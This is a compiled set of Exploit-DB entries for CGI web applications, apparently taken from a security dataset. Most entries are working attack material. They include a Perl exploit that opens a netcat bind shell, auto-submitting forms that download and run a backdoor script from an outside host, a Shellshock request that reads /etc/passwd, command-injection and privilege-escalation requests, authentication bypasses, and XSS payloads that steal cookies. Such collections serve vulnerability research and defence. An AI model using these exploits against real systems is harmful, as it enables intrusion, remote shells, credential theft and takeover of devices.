deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22380
Description: Smart Search 4.25 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2003-01-05
Author: knight420

Exploit:
source: https://www.securityfocus.com/bid/7133/info

A vulnerability has been discovered in the Smart Search CGI script. Due to insufficient sanitization of user-supplied URI parameters, it may be possible for an attacker to execute arbitrary commands on a target system. All commands executed in this manner would be run with the privileges of the web server hosting the script.

#!/usr/bin/perl -w
#
# Smart Search CGI Remote Exploit by: Knight420
#
# Greetz: echo, qubit, lkm, omega, borgon
#
use IO::Socket;
if ($#ARGV<0)
{
print "\nSmart Search CGI Remote Exploit by: Knight420";
print "\n\n Usage: perl smartass.pl ip path\n\n";
exit;
}
$elite = ("GET 
$ARGV[1]smartsearch.cgi?keywords=|nc%20-vv%20-l%20-p%206900%20-t%20-e%20/bin/bash| 
HTTP/1.0");
$check = ("GET $ARGV[1]smartsearch.cgi?keywords=|uname%20-a| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", 
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
print "Smart Search CGI Remote Exploit by: knight420";
print "\n*** [1] Checking if remote host is vulnerable...";
print $connect "$check";
if ($#connect<0)
{
print "\n*** [*] Remote host is not vulnerable... \n";
exit;
}
print "\n *** [2] Host is vulnerable...Sending exploit code";
print $connect "$elite";
system('nc -v $ARGV[0] 6900 ');
close($connect);
Exploit-DB #38114
Description: Smartphone Pentest Framework - Multiple Remote Command Execution Vulnerabilities
Type: webapps
Platform: cgi
Date: 2012-12-10
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/56881/info

Smartphone Pentest Framework is prone to multiple remote command-execution vulnerabilities.

Remote attackers can exploit these issues to execute arbitrary commands within the context of the vulnerable application to gain root access. This may facilitate a complete compromise of an affected computer.

Smartphone Pentest Framework 0.1.3 and 0.1.4 are vulnerable; other versions may also be affected. 

1.

<form action="http://www.example.com/cgi-bin/frameworkgui/SEAttack.pl" 
method="post" name=f1>
<input type="hidden" name="platformDD2" value='android' />
<input type="hidden" name="hostingPath" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.ch && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

2. 

<form action="http://www.example.com/cgi-bin/frameworkgui/CSAttack.pl" 
method="post" name=f1>
<input type="hidden" name="hostingPath" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.sh && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

3.

<form 
action="http://www.example.com/cgi-bin/frameworkgui/attachMobileModem.pl" 
method="post" name=f1>
<input type="hidden" name="appURLPath" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.sh && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

4.

<form 
action="http://www.example.com/cgi-bin/frameworkgui/guessPassword.pl" 
method="post" name=f1>
<input type="hidden" name="ipAddressTB" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.sh && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>
Exploit-DB #16006
Description: SmoothWall Express 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2011-01-17
Author: dave b

Exploit:
The web management interface of SmoothWall Express 3.0 is vulnerable
to xss and csrf.

xss example:

<html>
<title> SmoothWall Express 3.0 xss </title>
<body>
 <form action="http://192.168.0.1:81/cgi-bin/ipinfo.cgi"; method="post"
id="xssplz">
        <input type="hidden" name="IP" value='"<script>alert(1);</script>'></input>
        <input type="hidden" name="ACTION" value='Run'></input>
</form>
<script>document.getElementById("xssplz").submit();</script>
</body>


csrf example:

<html>
<title>  SmoothWall Express 3.0 csrf </title>
<body>
 <form action="http://192.168.0.1:81/cgi-bin/shutdown.cgi";
method="post" id="csrfplz">
        <input type="hidden" name="ACTION" value='Reboot'></input>
</form>
<script>document.getElementById("csrfplz").submit();</script>
</body>
Exploit-DB #26848
Description: Soft4e ECW-Cart 2.0.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15890/info

ECW-Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&f=r0t+XSS&comp=0&min=&max=
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=0&min=&max=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=0&min=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
Exploit-DB #22963
Description: Softshoe - Parse-file Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-07-28
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8294/info

Softshoe is allegedly prone to cross-site scripting attacks. An attacker can exploit this issue by creating a malicious link that contains hostile HTML or script code to a site that is hosting the vulnerable software. If such a link is visited, the attacker-supplied code may be rendered in the user's web browser.

http://www.example.com/cgi-bin/parse-file?TEMPLATE=<script>alert('Bahaa');</script>

http://www.example.com/cgi-bin/parse-file?TEMPLATE=<script>alert
(document.cookie);</script>
Exploit-DB #42342
Description: Sonicwall Secure Remote Access 8.1.0.2-14sv - Command Injection
Type: webapps
Platform: cgi
Date: 2017-07-19
Author: xort

Exploit:
Sonicwall Secure Remote Access (SRA) - Command Injection Vulnerabilities

   Vendor: Sonicwall (Dell)
  Product: Secure Remote Access (SRA)
  Version: 8.1.0.2-14sv
 Platform: Embedded Linux
Discovery: Russell Sanford of Critical Start (www.CriticalStart.com)
      CVE: cve-2016-9682


Tested against version 8.1.0.2-14sv on 11/28/16 (fully updated)
 

Description:
The Sonicwall Secure Remote Access server (ver 8.1.0.2-14sv) is vulnerable to two Remote Command Injection vulnerabilities in it's
web administrative interface. These vulnerabilies occur in the diagnostics CGI (/cgi-bin/diagnostics) component responsible for
emailing out information about the state of the system. The application doesn't properly escape the information passed in the 'tsrDeleteRestartedFile'
or 'currentTSREmailTo' variables before making a call to system() allowing for remote command injection.

Exploitation of this vulnerability yeilds shell access to the remote machine under the useraccount 'nobody'


Impact: 
Remote Code Execution


Exploit #1 -----------------------------------------------------------------

GET /cgi-bin/diagnostics?tsrEmailCurrent=true&currentTSREmailTo=|date>/tmp/xort||a%20%23 HTTP/1.1
Host: 192.168.84.155
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://192.168.84.155/cgi-bin/diagnostics
Cookie: SessURL=https%3A%2F%2F192.168.84.155%2Fcgi-bin%2Fwelcome; svDomainName=LocalDomain; activeUserSessionsTable=0; ajaxUpdates=ON; activeNxSessionsTable=0; servicesBookmarksTable=1; policyListTable=1; portalListTable=1; domainListTable=0; period=1; activeTab=4; curUrl=license; swap=dEVySFNhTXl5V3NLSXNWUFUzVzBNNTJJQ1o2WXpCODNrOGZYUGxYazJOZz0=


Exploit #2 -----------------------------------------------------------------

GET /cgi-bin/diagnostics?tsrDeleteRestarted=true&tsrDeleteRestartedFile=|date>/tmp/xort2||a%20%23 HTTP/1.1
Host: 192.168.84.155
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://192.168.84.155/cgi-bin/diagnostics
Cookie: SessURL=https%3A%2F%2F192.168.84.155%2Fcgi-bin%2Fwelcome; svDomainName=LocalDomain; activeUserSessionsTable=0; ajaxUpdates=ON; activeNxSessionsTable=0; servicesBookmarksTable=1; policyListTable=1; portalListTable=1; domainListTable=0; period=1; activeTab=4; curUrl=sslcert; swap=dDdWMjhSYzlzMEZBd3kwQ29rTzZxQWFKdmxUSU5SRFVBQTRGRWk5UzJXVT0=


Timeline:
11/14/16 - Discovered in audit
11/20/16 - POC msf exploit written
11/28/16 - Contacted mitre for CVE
11/30/16 - CVE received from mitre (CVE-2016-9682)
11/30/16 - Dell notified through Sonicwall vuln reporting
Exploit-DB #25331
Description: SonicWALL SOHO 5.1.7 - Web Interface Multiple Remote Input Validation Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-04-04
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/12984/info

Multiple remote input validation vulnerabilities affect SonicWALL SOHO. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

Specifically a cross-site scripting issue and an HTML injection issue affect the vulnerable device.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks, potentially leading to a compromise of the affected device.

SonicWALL Pro 230 firmware 6.5.0.3 is reported vulnerable to these issues as well. 

http://www.example.com/<script>alert("Its not magic... its a sonic")</script>

To leverage the HTML injection issue enter the following into the 'username' field of the login form:

</TD><script>alert("!")</script>

It is also possible to leverage the HTML injection issue by submitting the following POST request:

POST http://192.168.168.168:80/auth.cgi HTTP/1.0
Accept: */*
Referer: http://192.168.168.168/auth.html
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: BadGuy
Host: 192.168.168.168
Content-Length: 160
Pragma: no-cache uName=</TD><script>alert("Its_not_magic..._its_a_sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1
Exploit-DB #9074
Description: Sourcefire 3D Sensor & Defense Center 4.8.x - Privilege Escalation
Type: webapps
Platform: cgi
Date: 2009-07-02
Author: Gregory Duchemin

Exploit:
Affected product
----------------

Sourcefire 3D Sensor and Defense Center 4.8.x
 
Tested on 4.8.0.3 and 4.8.0.4, 3D Sensor 2500 & DC 1000
All 4.8.x releases, up to and including 4.8.1, confirmed vulnerable by sourcefire.


Vulnerability details
---------------------

A privilege escalation vulnerability found in the Sensor and the DC web based management interfaces allows any local account
to take over the appliances administrator role.
While the "user.cgi" PERL script correctly validates that incoming requests belong to an authenticated session, in such a case 
it also blindly grants read/write access to all accounts configuration with no regard for the role of the request's originator. 
Therefore a user with even the lowest level of access (ie. without any role configured) is able to promote himself as administrator 
and/or change others roles and account parameters at will. 
Depending of the role or roles initially configured for this user, access to the user management page may not be visible
into the interface's layout however the underlying script itself is still reachable and can be invoked "by hand".

Let's now consider a malicious operator named 'foobar' whose role has been restricted to "Event analyst (read only)".
He would first log in to the appliance using his own credentials in order to get an authenticated session cookie (CGISESSID=xxxxxxxxxxxxxxxxxx)
then he could send a forged POST request similar to the one below:
 
POST https://x.x.x.x/admin/user/user.cgi HTTP/1.1
User-Agent: xxxxxx
Keep-Alive: 300
Connection: Keep-alive
Cookie: CGISESSID=xxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 56

mode=edit&username=foobar&admin=%24admin&action_add=Save

He would thereafter be promoted to administrator by the appliance with full access into the management interface.
 
As a final note, several other scripts were reported being affected by the same vulnerability after investigation from the vendor.


Resolution
----------

Upgrade your appliance's software to 4.8.2 available from the Sourcefire's support website located at https://support.sourcefire.com/


Disclosure timeline
-------------------

2009-05-05: Vulnerability discovered and reported to Sourcefire.
2009-06-30: 4.8.2 released by Sourcefire.
2009-07-01: Public disclosure.



Gregory Duchemin

# milw0rm.com [2009-07-02]
Exploit-DB #28514
Description: SQL-Ledger 2.6.x/LedgerSMB 1.0 - 'Terminal' Directory Traversal
Type: webapps
Platform: cgi
Date: 2006-09-12
Author: Chris Murtagh

Exploit:
source: https://www.securityfocus.com/bid/19960/info

SQL-Ledger and LedgerSMB are prone to a remote directory-traversal vulnerability.

An attacker can exploit this issue to include arbitrary files located on the vulnerable computer in the context of the webserver process. 

The attacker may be able to use the application's built-in text editor to alter a local file and exploit this issue to execute arbitrary code. This may facilitate a compromise of the vulnerable computer.

SQL-Ledger version 2.6.18 and LedgerSMB version 1.0.0 are vulnerable to this issue.

http://www.example.com/path/login.pl?terminal=../css
Exploit-DB #23214
Description: Sun Cobalt RaQ 1.1/2.0/3.0/4.0 - 'Message.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-10-03
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8757/info

A problem with message.cgi script used by Cobalt RaQ appliances could lead to cross-site scripting. This could result in attacks attempting to steal authentication information. 

http://wwww.example.com:81/cgi-bin/.cobalt/message/message.cgi?info=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E
Exploit-DB #39887
Description: Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Injection (Shellshock)
Type: webapps
Platform: cgi
Date: 2016-06-06
Author: lastc0de

Exploit:
# Exploit Title: ShellShock On Sun Secure Global Desktop & Oracle Global desktop
# Google Dork: intitle:Install the Sun Secure Global Desktop Native Client
# Date: 6/4/2016
# Exploit Author: lastc0de@outlook.com
# Vendor Homepage: http://www.sun.com/ & http://www.oracle.com/
# Software Link: http://www.oracle.com/technetwork/server-storage/securedesktop/downloads/index.html
# Version: 4.61.915
# Tested on: Linux

VULNERABLE FILE
http://target.com//tarantella/cgi-bin/modules.cgi

POC :
localhost@~#curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://target.com/tarantella/cgi-bin/modules.cgi > xixixi.txt

localhost@~#cat xixixi.txt
which will print out the content of /etc/passwd file.
Exploit-DB #22481
Description: Super Guestbook 1.0 - Sensitive Information Disclosure
Type: webapps
Platform: cgi
Date: 2002-04-10
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/7319/info

Super Guestbook has been reported prone to a sensitive information disclosure weakness.

An attacker may disclose sensitive information regarding the Super Guestbook install by sending a HTTP request for a Guest Book configuration file. Details including administration credentials are displayed in the attackers browser. 

http://www.example.com/cgi-bin/SGB_DIR/superguestconfig
Exploit-DB #21768
Description: Super Site Searcher - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2002-09-03
Author: luca.ercoli

Exploit:
source: https://www.securityfocus.com/bid/5605/info

Super Site Searcher is prone to remote command execution. Shell metacharacters are not adequately filtered from query string parameters in a request to the vulnerable search engine script. The parameters are then used in a function which passes commands directly through the shell.

A remote attacker may exploit this condition to execute arbitrary commands on the shell with the privileges of the webserver process.

Simple Site Searcher, released by the same vendor, is also prone to this issue. 

http://target/searchenginepath/site_searcher.cgi?page=|command|
Exploit-DB #24094
Description: SurgeLDAP 1.0 - Web Administration Authentication Bypass
Type: webapps
Platform: cgi
Date: 2004-05-05
Author: GSS IT

Exploit:
source: https://www.securityfocus.com/bid/10294/info

SurgeLDAP is an LDAP server implementation for Microsoft Windows and various Unix operating systems. It includes a built-in web server to permit remote user access via HTTP. 

It has been reported that the SurgeLDAP web administration application is prone to an authentication bypass vulnerability, possibly allowing remote attackers manager access.

Once administration access is granted, it may be possible for an attacker to modify records in the LDAP database, destroy data, crash the server, or possibly further attacks on other services utilizing SurgeLDAP for it's authentication data.

http://www.example.com/admin.cgi?cmd=show&page=main.tpl&utoken=manager
Exploit-DB #23025
Description: SurgeLDAP 1.0 d - 'User.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-08-13
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/8407/info

SurgeLDAP is prone to cross-site scripting attacks. Remote attackers may exploit this issue by enticing a user to visiting a malicious link that includes hostile HTML and script code. This code may be rendered in the user's browser when the link is visited.

This issue exists in the web server component of SurgeLDAP.

http://www.example.com:6680/user.cgi?cmd=<script>alert('C.S.S')</script>&utoken=
Exploit-DB #17577
Description: SWAT Samba Web Administration Tool - Cross-Site Request Forgery
Type: webapps
Platform: cgi
Date: 2011-07-27
Author: Narendra Shinde

Exploit:
<!--
# Secur-I Research Group - Proof-of-Concept
# ==========================================================================
# Title: Cross-Site Request Forgery in SWAT (Samba Web Administration Tool)
# Vulnerable versions: Samba 3.0.x - 3.5.9 (inclusive)
# Fixed version: Samba 3.5.10
# Product Homepage: http://www.samba.org/
# CVE-ID: CVE-2011-2522
# References: http://www.samba.org/samba/security/CVE-2011-2522
# ==========================================================================
-->

<html>
<body>
<form method=post action="http://VULN_SERVER:901/status">
<input type=submit onclick=window.open("http://securview.com") name="VUL_PARM" value="w00t!">
</body>
</html>

<!--
VUL_PARM could be one of the following:-
smbd_start, smbd_stop, smbd_restart : To start/stop/restart smbd(Samba) daemon
nmbd_start, nmbd_stop, nmbd_restart : To start/stop/restart nmbd(NETBIOS) daemon
winbindd_start, winbindd_stop, winbindd_restart : To start/stop/restart winbindd(Windows Name Service Switch) daemon
-->

Thanks & Regards,
Narendra.

Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.
Exploit-DB #24251
Description: Symantec Brightmail Anti-Spam 6.0 - Unauthorized Message Disclosure
Type: webapps
Platform: cgi
Date: 2004-07-05
Author: Thomas Springer

Exploit:
source: https://www.securityfocus.com/bid/10657/info

Symantec Brightmail anti-spam is reported prone to an unauthorized message disclosure vulnerability.

This issue exists in the Brightmail anti-spam control center. Due to improper access validation a remote attacker can read users' filtered email.

Symantec Brightmail anti-spam 6.0 is reported prone to this issue, however, other versions may be affected as well.

/brightmail/quarantine/viewMsgDetails.do?id=QMsgView-[some-value]
Exploit-DB #45920
Description: Synaccess netBooter NP-02x/NP-08x 6.8 - Authentication Bypass
Type: webapps
Platform: cgi
Date: 2018-11-30
Author: LiquidWorm

Exploit:
Synaccess netBooter NP-02x/NP-08x 6.8 Authentication Bypass


Vendor: Synaccess Networks Inc.
Product web page: https://www.synaccess-net.com
Affected version: NP-0201D (ver 6.8C)
                  NP-02    (ver 6.5C)
                  NP-02    (ver 6.4BC)
                  NP-0801D (ver 6.4A)
                  NP-08    (ver 6.10)
                  NP-02    (ver 5.53BC)

Summary: netBooter NP-02B and NP-02BH provide independent
control of one or two outlets in a small, robust form factor.
Manageable via TCP/IP network or direct serial connection
and 1U brackets (optional) for mounting. Control power to
your devices with the ability to fit just about anywhere.

netBooter NP-0801DU and NP-0801DUH PDUs provide secured
remote power source management of 8 independent outlets.
Includes true RMS AC current reading and environment
temperature monitoring* via TCP/IP networks or local direct
connection.

Desc: netBooter suffers from an authentication bypass
vulnerability due to missing control check when calling
webNewAcct.cgi script while creating users. This allows an
unauthenticated attacker to create admin user account and
bypass authentication giving her the power to turn off a
power supply to a resource.

Tested on: Synaccess server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5500
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5500.php


05.11.2018

--

PoC:

curl -i http://10.0.0.17/webNewAcct.cgi --data "A1=hackerplusplus&A2=1234&A2=1234"
Exploit-DB #43455
Description: Synology DiskStation Manager (DSM) < 6.1.3-15152 - 'forget_passwd.cgi' User Enumeration
Type: webapps
Platform: cgi
Date: 2018-01-08
Author: Steve Kaun

Exploit:
# Exploit Title: Synology DiskStation Manager (DSM) < 6.1.3-15152 - 'forget_passwd.cgi' User Enumeration 
# Date: 01/05/2018
# Exploit Author: Steve Kaun
# Vendor Homepage: https://www.synology.com
# Version: Before 6.1.3-15152
# CVE : CVE-2017-9554

Previously this was identified by the developer and the disclosure states "via unspecified vectors" it is possible to enumerate usernames via forget_passwd.cgi

Haven't identified any other disclosures that actually identified the attack vector, figure it would be helpful to another.


"An information exposure vulnerability in forget_passwd.cgi in Synology DiskStation Manager (DSM) before 6.1.3-15152 allows remote attackers to enumerate valid usernames via unspecified vectors."

Well then... Here you go, cracked the code and figured it out.

https://IP_Address:5001/webman/forget_passwd.cgi?user=XXX

Where XXX should be your injection point for username lists.

Several usernames I've found are admin, administrator, root, nobody, ftp, and more. I'm unsure of whether Synology is pulling these entries from it's passwd file or not, but there you go.